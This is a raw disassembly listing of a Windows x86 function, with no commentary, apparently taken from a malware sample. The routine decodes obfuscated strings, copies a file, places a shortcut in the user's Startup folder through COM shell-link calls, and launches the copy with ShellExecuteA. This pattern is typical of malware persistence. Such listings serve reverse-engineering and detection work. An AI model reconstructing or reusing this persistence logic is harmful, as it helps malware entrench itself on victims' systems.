mov byte [ebp - 0x1b5], 1
call fcn.0040b8f0
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1b4], 0xeab2bcb9
mov dword [ebp - 0x1b0], 0x8380ed
mov byte [ebp - 0x1ac], 1
call fcn.0040b8f0
mov edi, eax
lea ecx, [ebp - 0x4b8]
lea eax, [ebp - 0x840]
push eax
call fcn.00402710
mov esi, eax
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x3ee]
movaps xmm0, xmmword [0x526fa0]
movups xmmword [ebp - 0x3ee], xmm0
mov dword [ebp - 0x3de], 0x8ecb838b
mov dword [ebp - 0x3da], 0x92e4e280
mov word [ebp - 0x3d6], 0x91
mov byte [ebp - 0x3d4], 1
call fcn.00416120
push esi
mov edx, eax
lea ecx, [ebp - 0x4a0]
call fcn.0046a3e0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x73
lea ecx, [ebp - 0x6a8]
call fcn.0046a320
add esp, 4
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x74
push ecx
mov edx, eax
lea ecx, [ebp - 0x690]
call fcn.0046a4e0
add esp, 4
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0x678]
push dword [ebp - 0x20]
mov edx, eax
call fcn.0046a320
add esp, 4
lea ecx, [ebp - 0x470]
mov byte [ebp - 4], 0x76
push ecx
mov edx, eax
lea ecx, [ebp - 0x738]
call fcn.0046a4e0
add esp, 4
push dword [ebp - 0x28]
mov edx, eax
mov byte [ebp - 4], 0x77
lea ecx, [ebp - 0x2f8]
call fcn.0046a320
add esp, 4
lea ecx, [ebp - 0x51c]
mov byte [ebp - 4], 0x78
push ecx
mov edx, eax
lea ecx, [ebp - 0x310]
call fcn.0046a320
add esp, 4
push dword [ebp - 0x48]
mov edx, eax
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x258]
call fcn.0046a320
add esp, 4
lea ecx, [ebp - 0x310]
call fcn.00402670
lea ecx, [ebp - 0x2f8]
call fcn.00402670
lea ecx, [ebp - 0x738]
call fcn.00402670
lea ecx, [ebp - 0x678]
call fcn.00402670
lea ecx, [ebp - 0x690]
call fcn.00402670
lea ecx, [ebp - 0x6a8]
call fcn.00402670
lea ecx, [ebp - 0x4a0]
call fcn.00402670
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 4], 0x82
call fcn.00402670
sub esp, 0x18
lea ecx, [ebp - 0x258]
mov esi, esp
call fcn.004027b0
push eax
mov ecx, esi
call fcn.00402710
xor cl, cl
call fcn.00416320
add esp, 0x18
lea ecx, [ebp - 0x258]
call fcn.00402670
lea ecx, [ebp - 0x488]
call fcn.00402670
mov edi, dword [ebp - 0x18]
lea ecx, [ebp - 0x44]
call fcn.00402670
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 0x4e
call fcn.00402670
cmp byte [ebp - 0x52], 0
je 0x4481f6
lea ecx, [ebp - 0x143]
mov dword [ebp - 0x143], 0xced0d9cf
mov word [ebp - 0x13f], 0x100
call fcn.0040b8c0
push eax
call fcn.004ec241
add esp, 4
test eax, eax
je 0x4481f6
push eax
lea ecx, [ebp - 0x224]
call fcn.00402710
mov byte [ebp - 4], 0x83
lea ecx, [ebp - 0xc0]
mov word [ebp - 0xc0], 0xc7
mov byte [ebp - 0xbe], 1
call fcn.0040a450
push eax
lea ecx, [ebp - 0x224]
call fcn.00466380
lea ecx, [ebp - 0xc3]
mov word [ebp - 0xc3], 0xc4
mov byte [ebp - 0xc1], 1
call fcn.0040a450
push eax
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x4a0]
call fcn.0046a2c0
add esp, 4
lea ecx, [ebp - 0x51c]
mov byte [ebp - 4], 0x84
push ecx
mov edx, eax
lea ecx, [ebp - 0x4b8]
call fcn.0046a320
add esp, 4
push eax
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 0x85
call fcn.00466390
lea ecx, [ebp - 0x4b8]
call fcn.00402670
lea ecx, [ebp - 0x4a0]
mov byte [ebp - 4], 0x83
call fcn.00402670
lea ecx, [ebp - 0x224]
call fcn.004027b0
mov ecx, eax
call fcn.0040bfd0
test al, al
jne 0x447f02
lea ecx, [ebp - 0x224]
call fcn.004027b0
push eax
lea ecx, [ebp - 0x488]
call fcn.00402710
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x488]
or edi, 0x2000
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x24], edi
call fcn.00416190
mov byte [ebp - 0x11], 0
test al, al
je 0x447f06
mov byte [ebp - 0x11], 1
mov dword [ebp - 4], 0x83
test edi, 0x2000
je 0x447f2c
and edi, 0xffffdfff
lea ecx, [ebp - 0x488]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x24], edi
call fcn.00402670
cmp byte [ebp - 0x11], 0
je 0x4481e7
lea ecx, [ebp - 0x149]
mov dword [ebp - 0x149], 0xfbe5f9b5
mov word [ebp - 0x145], 0x100
call fcn.0040b8c0
lea ecx, [ebp - 0xc6]
mov word [ebp - 0xc6], 0xc7
mov esi, eax
mov byte [ebp - 0xc4], 1
call fcn.0040a450
push eax
lea edx, [ebp - 0x224]
lea ecx, [ebp - 0x4a0]
call fcn.0046a2c0
add esp, 4
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x87
push ecx
mov edx, eax
lea ecx, [ebp - 0x4b8]
call fcn.0046a4e0
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x258]
call fcn.0046a320
add esp, 4
lea ecx, [ebp - 0x4b8]
call fcn.00402670
lea ecx, [ebp - 0x4a0]
mov byte [ebp - 4], 0x8b
call fcn.00402670
sub esp, 0x18
lea eax, [ebp - 0x258]
mov ecx, esp
push eax
call fcn.00466580
call fcn.0040bf40
add esp, 0x18
test al, al
jne 0x448017
lea ecx, [ebp - 0x258]
call fcn.004027b0
lea ecx, [ebp - 0x534]
mov esi, eax
call fcn.004027b0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4481dc
lea eax, [ebp - 0x840]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x4481dc
lea eax, [ebp - 0x840]
push eax
lea ecx, [ebp - 0x44]
call fcn.00402710
mov byte [ebp - 4], 0x8c
lea ecx, [ebp - 0x14f]
mov dword [ebp - 0x14f], 0xf5f3f0b5
mov word [ebp - 0x14b], 0x100
call fcn.0040b8c0
mov esi, eax
mov word [ebp - 0xc9], 0xc7
lea eax, [ebp - 0xb4]
mov byte [ebp - 0xc7], 1
push eax
lea ecx, [ebp - 0xc9]
call fcn.0040a450
mov edx, eax
lea ecx, [ebp - 0x4a0]
call fcn.0046a380
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x8d
lea ecx, [ebp - 0x4b8]
call fcn.0046a320
add esp, 4
push eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x8e
call fcn.00466390
lea ecx, [ebp - 0x4b8]
call fcn.00402670
lea ecx, [ebp - 0x4a0]
mov byte [ebp - 4], 0x8c
call fcn.00402670
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
push eax
call fcn.00466580
call fcn.0040bf40
add esp, 0x18
test al, al
jne 0x4481d4
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x4481d4
lea eax, [ebp - 0x68]
push eax
push 0x50d4e0
push 1
push 0
push 0x50d510
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x4481ce
mov eax, dword [ebp - 0x68]
lea ecx, [ebp - 0x258]
mov eax, dword [eax]
mov esi, dword [eax + 0x50]
call fcn.004027b0
push eax
push dword [ebp - 0x68]
call esi
mov eax, dword [ebp - 0x68]
lea ecx, [ebp - 0xb4]
mov eax, dword [eax]
mov esi, dword [eax + 0x1c]
call fcn.004027b0
push eax
push dword [ebp - 0x68]
call esi
mov ecx, dword [ebp - 0x68]
lea edx, [ebp - 0x274]
push edx
push 0x50d4f0
push ecx
mov eax, dword [ecx]
call dword [eax]
test eax, eax
js 0x4481c5
push 0x208
lea eax, [ebp - 0xb18]
push 0
push eax
call fcn.004df810
add esp, 0xc
lea eax, [ebp - 0xb18]
lea ecx, [ebp - 0x44]
push 0x104
push eax
push 0xffffffffffffffff
call fcn.004027b0
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x274]
lea edx, [ebp - 0xb18]
push 1
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
mov eax, dword [ebp - 0x274]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
lea ecx, [ebp - 0x44]
call fcn.00402670
lea ecx, [ebp - 0x258]
call fcn.00402670
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 0x4e
call fcn.00402670
lea ecx, [ebp - 0x534]
call fcn.004027b0
lea ecx, [ebp - 0x155]
mov dword [ebp - 0x155], 0xf0f8ecf4
mov esi, eax
mov word [ebp - 0x151], 0x100
call fcn.0040b8c0
push 1
push 0
push 0
push esi
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 0x18
lea eax, [ebp - 0x5f0]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call fcn.00466580
sub esp, 0x18
mov byte [ebp - 4], 0x8f
mov ecx, esp
push str.1114
call fcn.00466580
mov byte [ebp - 4], 0x4e
call fcn.0041f8e0
add esp, 0x30
lea ecx, [ebp - 0x470]
call fcn.00402670
lea ecx, [ebp - 0xb4]
call fcn.00402670
lea ecx, [ebp - 0x2d4]
call fcn.00402670
lea ecx, [ebp - 0x534]
call fcn.00402670
lea ecx, [ebp - 0x364]
call fcn.00468770
lea ecx, [ebp - 0x28c]
call fcn.00402670
lea ecx, [ebp - 0x370]
call fcn.00468770
lea ecx, [ebp - 0x2e0]
call fcn.00468770
lea ecx, [ebp - 0x5d8]
call fcn.00402670
lea ecx, [ebp - 0x428]
call fcn.00402670
lea ecx, [ebp - 0x608]
call fcn.00402670
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 4], 7
call fcn.00402670
lea ecx, [ebp - 0x4f8]
call fcn.00463280
lea eax, [ebp - 0x648]
push eax
lea ecx, [ebp - 0x4f8]
call fcn.00467aa0
test al, al
je 0x4454b0
lea ecx, [ebx + 8]
call fcn.00402670
lea ecx, [ebx + 0x20]
call fcn.00464020
lea ecx, [ebx + 0x30]
call fcn.00464020
lea ecx, [ebx + 0x40]
call fcn.00464020
lea ecx, [ebx + 0x50]
call fcn.00464020
lea ecx, [ebx + 0x60]
call fcn.00464020
lea ecx, [ebx + 0x70]
call fcn.00464020
lea ecx, [ebx + 0x80]
call fcn.00402670
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret